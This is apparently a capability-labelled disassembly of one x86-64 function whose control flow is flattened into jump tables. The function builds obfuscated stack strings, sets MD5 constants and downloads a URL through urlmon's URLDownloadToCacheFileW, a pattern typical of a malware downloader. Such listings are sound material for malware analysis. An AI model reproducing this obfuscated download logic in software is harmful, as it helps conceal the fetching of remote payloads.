Function at 0x18001deb0
Capabilities:
Download url
Hash data with md5
Receive data

Disassembly:
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x508]
sub rsp, 0x608
xor r10d, r10d
lea eax, [rdx + 0xf]
lea r11, [0x180000000]
mov esi, edx
mov r9, rcx
lea r8d, [r10 + 0x69]
cmp edx, eax
jae 0x18001e07d
lea edi, [r10 + 0xf]
mov r12d, 0x6e69
lea ebx, [rdx - 0x7a]
lea edx, [rdi + 0x61]
lea r14d, [r10 + 0x74]
lea r15d, [r10 + 0x66]
lea r13d, [r10 + 0x6e]
nop
cmp ebx, 0x20
ja case.0x18001df24.11
mov ecx, dword [r11 + rbx*4 + 0x1e7cc]
add rcx, r11
jmp rcx
mov edx, 0xff
mov r8d, 0x8000
mov rcx, r9
call fcn.1800701a0
mov r9, qword [rbp + 0x550]
lea r11, [0x180000000]
mov edx, 0x70
xor r10d, r10d
lea r8d, [rdx - 7]
jmp case.0x18001df24.11
mov qword [r9], 0
jmp case.0x18001df24.11
mov r8d, 1
lea rdx, [0x180099370]
lea rcx, [rbp - 0x48]
call fcn.1800743d0
jmp 0x18001df39
mov word [rsp + 0x41], r14w
jmp case.0x18001df24.11
mov word [rsp + 0x38], r15w
jmp case.0x18001df24.11
mov word [rsp + 0x39], r12w
mov dword [rsp + 0x3b], 0x3f6567
jmp case.0x18001df24.11
mov dword [r9 + 0x10], 0x98badcfe
mov dword [r9 + 0x14], 0x10325476
jmp case.0x18001df24.11
mov dword [r9 + 8], 0x67452301
mov dword [r9 + 0xc], 0xefcdab89
jmp case.0x18001df24.11
mov r8d, 3
lea rdx, [0x18009ba9a]
lea rcx, [rsp + 0x48]
call fcn.1800748e0
mov r8d, 1
lea rdx, [0x18009bab8]
lea rcx, [rsp + 0x48]
call fcn.1800748e0
jmp 0x18001df39
mov word [rsp + 0x3e], dx
mov word [rsp + 0x3f], r8w
jmp case.0x18001df24.11
mov r8d, 2
mov byte [rsp + 0x48], 0
lea rdx, [0x18009bad7]
lea rcx, [rsp + 0x48]
call fcn.1800748e0
jmp 0x18001df39
mov byte [rsp + 0x4e], 0
jmp case.0x18001df24.11
mov eax, dword [0x18009baf0]
movsd xmm0, qword [str.s2_32.]
mov dword [rbp - 0x3e], eax
movzx eax, word [0x18009baf4]
mov dword [rbp - 0x48], 0x77
mov word [rbp - 0x3a], ax
movsd qword [rbp - 0x46], xmm0
jmp case.0x18001df24.11
mov word [rsp + 0x40], r13w
jmp case.0x18001df24.11
mov dword [rsp + 0x4a], 0x61745341
inc ebx
sub rdi, 1
jne 0x18001df10
imul edi, esi, 0x4a1
mov ebx, esi
cmp esi, edi
ja 0x18001e2c1
mov r14d, 0x6d
imul esi, esi, 0x4f
lea r15d, [r14 - 0x3f]
lea r12d, [r14 - 6]
nop
cmp ebx, 0x10804
ja 0x18001e1c9
je 0x18001e1b6
cmp ebx, 0x716c
ja 0x18001e13f
je 0x18001e11d
cmp ebx, 0x7a
je 0x18001e10a
cmp ebx, 0x2620
je 0x18001e100
cmp ebx, 0x4bc6
jne 0x18001e2a7
lea rcx, [rbp - 0x30]
sub rcx, 2
cmp word [rcx + 2], 0
lea rcx, [rcx + 2]
jne 0x18001e0e1
mov eax, dword [0x18009bb08]
mov dword [rcx], eax
mov dword [rbp - 0x2e], 0x44
jmp 0x18001e2a7
mov word [rbp - 0x30], r10w
jmp 0x18001e2a7
mov dword [rbp - 0x38], 0x6c
mov dword [rbp - 0x36], 0x6c
jmp 0x18001e2a7
mov r8d, 2
lea rdx, [0x18009bb34]
lea rcx, [rbp - 0x30]
call fcn.1800743d0
mov dword [rbp - 0x28], 0x4d
jmp 0x18001e2a7
cmp ebx, 0x9712
je 0x18001e196
cmp ebx, 0xbcb8
je 0x18001e17b
cmp ebx, 0xe25e
jne 0x18001e2a7
mov eax, dword [0x18009bb20]
mov dword [rbp - 0x12], 0x4d
mov dword [rbp - 0x10], eax
movzx eax, word [0x18009bb24]
mov word [rbp - 0xc], ax
jmp 0x18001e2a7
mov r8d, 8
lea rdx, str.A_STREA
lea rcx, [rbp - 0x20]
call fcn.180074418
jmp 0x18001e2a7
mov eax, dword [0x18009baf8]
mov dword [rbp - 0x26], 0x45
mov dword [rbp - 0x24], eax
movzx eax, word [0x18009bafc]
mov word [rbp - 0x20], ax
jmp 0x18001e2a7
mov dword [rbp - 0xc], 0x53
mov dword [rbp - 0xa], 0x4b
jmp 0x18001e2a7
cmp ebx, 0x19e9c
ja 0x18001e273
je 0x18001e258
cmp ebx, 0x12daa
je 0x18001e242
cmp ebx, 0x15350
je 0x18001e213
cmp ebx, 0x178f6
jne 0x18001e2a7
movzx eax, word [0x18009bb3c]
mov word [rsp + 0x5a], ax
movzx eax, byte [0x18009bb3e]
mov byte [rsp + 0x5c], al
jmp 0x18001e2a7
mov r8d, 4
lea rdx, str.ADIO
lea rcx, [rbp - 0x30]
call fcn.1800743d0
movzx eax, word [0x18009bb4c]
mov word [rsp + 0x58], ax
movzx eax, byte [0x18009bb4e]
mov byte [rsp + 0x5a], al
jmp 0x18001e2a7
mov eax, dword [0x18009bb00]
mov dword [rbp - 8], eax
movzx eax, word [0x18009bb04]
mov word [rbp - 4], ax
jmp 0x18001e2a7
movsd xmm0, qword [str..x86.mic]
movzx eax, byte [0x18009bb30]
movsd qword [rsp + 0x5c], xmm0
mov byte [rsp + 0x64], al
jmp 0x18001e2a7
cmp ebx, 0x1c442
je 0x18001e29b
cmp ebx, 0x1e9e8
je 0x18001e293
cmp ebx, 0x20f8e
jne 0x18001e2a7
mov word [rsp + 0x67], r8w
jmp 0x18001e2a7
mov word [rsp + 0x66], r14w
jmp 0x18001e2a7
mov word [rsp + 0x64], r15w
mov word [rsp + 0x65], r12w
mov r8d, 0x69
add ebx, esi
lea r10d, [r8 - 0x69]
cmp ebx, edi
jbe 0x18001e0a0
mov esi, dword [rbp + 0x558]
lea ebx, [rsi + 0x5cd]
mov dword [rbp + 0x568], ebx
cmp esi, ebx
movzx ebx, byte [rbp + 0x558]
jae case.0x18001e5cd.8
movzx edi, byte [rbp + 0x558]
mov r14, qword [rbp + 0x560]
mov r15, qword [rbp + 0x560]
mov r12d, dword [rbp + 0x558]
mov r13d, dword [rbp + 0x558]
mov eax, dword [rbp + 0x568]
mov dword [rsp + 0x30], edi
nop dword [rax]
cmp esi, 0x392
ja 0x18001e51e
je 0x18001e3cc
cmp esi, 0x1a3
ja 0x18001e391
je 0x18001e386
mov eax, esi
sub eax, 0x7a
je 0x18001e379
sub eax, 0x63
je 0x18001e353
cmp eax, 0x63
mov eax, dword [rbp + 0x568]
jne 0x18001e7b1
mov byte [rbp + 0x560], 1
jmp 0x18001e7b1
lea rcx, [rsp + 0x58]
dec rcx
nop dword [rax + rax]
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x18001e360
movzx eax, word [0x180099414]
mov word [rcx], ax
jmp 0x18001e7ab
mov dword [rsp + 0x68], 0x702e6e
jmp 0x18001e7ab
xor ecx, ecx
mov qword [rbp + 0x30], rcx
jmp 0x18001e7b1
cmp esi, 0x206
je 0x18001e3b0
cmp esi, 0x32f
jne 0x18001e7b1
xor ecx, ecx
mov qword [rbp - 0x80], rcx
jmp 0x18001e7b1
lea r8, [rsp + 0x48]
mov ecx, 0xdc
lea rdx, [rbp - 0x48]
call fcn.180007d20
mov qword [rbp + 0x20], rax
jmp 0x18001e7ab
mov ecx, 0x202
lea rdx, [rbp + 0x360]
call qword [rbp + 0x20]
test eax, eax
je 0x18001e7ab
mov edi, 0x10
nop dword [rax + rax]
cmp edi, 0x10
ja case.default.0x18001e40c
lea rdx, [0x180000000]
mov eax, edi
mov ecx, dword [rdx + rax*4 + 0x1e850]
add rcx, rdx
jmp rcx
mov dword [rsp + 0x70], 1
jmp case.default.0x18001e40c
mov dword [rbp - 0x4e], 0x7c0034
jmp case.default.0x18001e40c
mov r8d, dword [rsp + 0x74]
lea r9, [rbp + 0x40]
mov edx, dword [rsp + 0x70]
xor eax, eax
mov rcx, qword [rbp + 0x28]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rax
mov dword [rbp + 0x40], 0xd0
call sub.IMM32.dll_ImmGetImeMenuItemsW
jmp case.default.0x18001e40c
mov eax, 0x4a
mov word [rbp - 0x70], ax
jmp case.default.0x18001e40c
mov eax, 0x23
mov word [rbp - 0x72], ax
jmp case.default.0x18001e40c
mov eax, 0x4a
mov dword [rbp - 0x64], 0x48007c
mov word [rbp - 0x60], ax
jmp case.default.0x18001e40c
mov dword [rbp - 0x68], 0x34004a
jmp case.default.0x18001e40c
mov eax, 0x34
mov word [rbp - 0x6e], ax
jmp case.default.0x18001e40c
xor r8d, r8d
mov dword [rsp + 0x74], 0x10
lea rdx, [rbp - 0x78]
xor ecx, ecx
call sub.urlmon.dll_IsValidURL
jmp case.default.0x18001e40c
mov dword [rbp - 0x6c], 0x28007c
jmp case.default.0x18001e40c
mov eax, 0x4a
mov dword [rbp - 0x76], 0x7c0034
mov word [rbp - 0x78], ax
jmp case.default.0x18001e40c
mov dword [rbp - 0x5e], 0x7c0034
jmp case.default.0x18001e40c
mov dword [rbp - 0x5a], 0x4a005c
jmp case.default.0x18001e40c
mov dword [rbp - 0x56], 0x7c0034
mov dword [rbp - 0x52], 0x4a0074
jmp case.default.0x18001e40c
xor eax, eax
mov word [rbp - 0x4a], ax
mov qword [rbp + 0x28], rax
jmp case.default.0x18001e40c
xor edx, edx
lea rcx, [rbp + 0x40]
mov r8d, 0xd0
call fcn.1800701a0
dec edi
lea eax, [rdi + 0x60]
cmp eax, 0x5f
ja 0x18001e3f0
jmp 0x18001e7ab
cmp esi, 0x51e
ja 0x18001e775
je 0x18001e729
mov eax, esi
sub eax, 0x3f5
je 0x18001e57a
sub eax, 0x63
je 0x18001e563
cmp eax, 0x63
jne 0x18001e7ab
lea r8, [rbp + 0x250]
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x38]
call qword [sym.imp.dbghelp.dll_FindExecutableImage]
jmp 0x18001e7ab
cmp dword [rsp + 0x78], 0
je 0x18001e7ab
mov byte [rbp + 0x560], 0
jmp 0x18001e7ab
mov rcx, qword [rbp + 0x30]
lea r8, [rbp - 0x80]
lea rdx, [rbp - 0x30]
call sub.urlmon.dll_CreateURLMoniker
mov rcx, qword [rbp + 0x550]
xor r8d, r8d
mov edx, 0xa0
mov dword [rsp + 0x78], eax
call fcn.180020420
test al, al
jne 0x18001e7ab
xor edx, edx
mov esi, edx
nop
cmp esi, 8
ja case.0x18001e5cd.3
lea r8, [0x180000000]
mov eax, esi
mov ecx, dword [r8 + rax*4 + 0x1e894]
add rcx, r8
jmp rcx
movsd xmm0, qword [str.UpdateS]
lea rcx, [rbp + 8]
movzx eax, byte [0x18009bb58]
dec rcx
movsd qword [rbp + 8], xmm0
mov byte [rbp + 0x10], al
nop dword [rax]
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x18001e5f0
movzx eax, word [0x180099410]
mov word [rcx], ax
jmp case.0x18001e5cd.3
xor r9d, r9d
lea rax, [rbp + 8]
xor edx, edx
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x100
lea r8d, [r9 + 4]
lea rcx, [rdx - 1]
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov r14, rax
jmp case.0x18001e5cd.3
test dil, dil
je case.0x18001e5cd.3
mov edi, 0x103
cmp edi, 0x103
je 0x18001e6ad
cmp edi, 0x1af
je 0x18001e69c
cmp edi, 0x25b
je 0x18001e697
cmp edi, 0x307
je 0x18001e678
cmp edi, 0x3b3
jne 0x18001e6b6
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
jmp 0x18001e6b6
mov qword [rsp + 0x28], rdx
lea r8, [rbp + 0x40]
xor edx, edx
mov dword [rsp + 0x20], r13d
mov r9d, r12d
mov rcx, r15
call sub.urlmon.dll_URLDownloadToCacheFileW
xor edx, edx
jmp 0x18001e6b6
mov r13d, edx
jmp 0x18001e6b6
lea rdx, [rbp + 0x18]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetCommMask]
xor edx, edx
jmp 0x18001e6b6
mov r15, rdx
mov r12d, 0x104
add edi, 0xac
cmp edi, 0x45f
jb 0x18001e643
mov edi, dword [rsp + 0x30]
jmp case.0x18001e5cd.3
lea rcx, [rbp + 0x38]
call qword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
xor bl, bl
jmp case.0x18001e5cd.3
mov r8d, 6
lea rdx, str.rvices
lea rcx, [rbp + 8]
call fcn.1800748e0
jmp case.0x18001e5cd.3
mov dil, 1
jmp 0x18001e707
test r14, r14
movzx edi, dil
mov qword [rbp + 0x38], rdx
cmove edi, edx
mov dword [rsp + 0x30], edi
inc esi
mov edx, 0
lea eax, [rsi + 0x15]
cmp eax, 0x1e
jb 0x18001e5b0
mov esi, dword [rbp + 0x558]
jmp 0x18001e7ab
cmp byte [rbp + 0x560], 0
je 0x18001e7b1
mov edi, 0x111
nop dword [rax + rax]
cmp edi, 0x111
je 0x18001e75c
cmp edi, 0x1a0
jne 0x18001e765
mov rcx, qword [rbp - 0x80]
mov rax, qword [rcx]
call qword [rax + 0x10]
jmp 0x18001e765
mov rcx, qword [rbp - 0x80]
call sub.urlmon.dll_IsAsyncMoniker
add edi, 0x8f
cmp edi, 0x22f
jb 0x18001e740
jmp 0x18001e7ab
mov eax, esi
sub eax, 0x581
je 0x18001e79a
cmp eax, 0x63
jne 0x18001e7ab
movzx eax, bl
add rsp, 0x608
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
xor r8d, r8d
mov edx, 0xa1
xor ecx, ecx
call fcn.180039290
mov ebx, eax
mov eax, dword [rbp + 0x568]
add esi, 0x63
mov dword [rbp + 0x558], esi
cmp esi, eax
jae case.0x18001e5cd.8
mov edi, dword [rsp + 0x30]
jmp 0x18001e310
xor al, al
jmp 0x18001e786